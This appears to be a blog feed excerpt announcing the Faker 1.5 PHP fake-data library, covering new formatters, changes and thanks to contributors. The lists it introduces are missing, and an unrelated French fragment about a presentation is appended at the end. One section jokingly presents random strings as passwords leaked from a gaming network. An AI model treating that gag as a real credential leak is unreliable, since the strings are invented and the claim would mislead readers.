)I love when people create new formatters, but Faker’s destiny isn’t to host them all. The core Faker repository should provide the providers and formatters required for most usages, but not all. Now, if you create a particularly smart Faker provider for a rare use case, send me a pull request and I’ll mention it in the README. Here is a list of tools and formatters that you can already use:
Between Faker 1.4 and 1.5, more than 100 pull requests were merged. They’re all listed in the CHANGELOG file. Suffice to say that they make Faker more stable, faster, and easier to use. For instance, your IDE will know how to suggest more formatters, you will be able to seed the generator properly, you will get more up to date user agents, color names in Dutch, or get valid fake emails whatever the locale.
Faker 1.5 works on PHP 5.3.3 through PHP 7.0. Update your local installation using composer
, there is no BC break.
I didn’t generate the section title with Faker. I didn’t use copy/paste either. I typed it all. That’s how much I want to thank the 70+ contributors who fixed bugs, sent pull requests, reviewed code, commented, helped newcomers, etc. These people simply made Faker better. They deserve to be mentioned here. Please give a huge round of applause to the Faker 1.5 crowd:
I recently received a file containing over 10,000,000 stolen passwords, leaked from a famous gaming network. Please check on the following list if your own password hasn’t been compromised:
i0K\3IL)gN`H= | In$k |
uZ3~]OB6I`hfDohm’0 |
X>4/9A~=?#rGIdWG | 1,” |
Qf}6k | $<QN |
Happy faking!
]]>Et voici le support de la présentation :
Si vous êtes d’accord, si vous n’êtes pas d’accord, si vous voulez adhérer, réagissez ! en postant un commentaire ci-dessous, ou sur joind.in.
Vive la Parti de l’Innovation !
]]>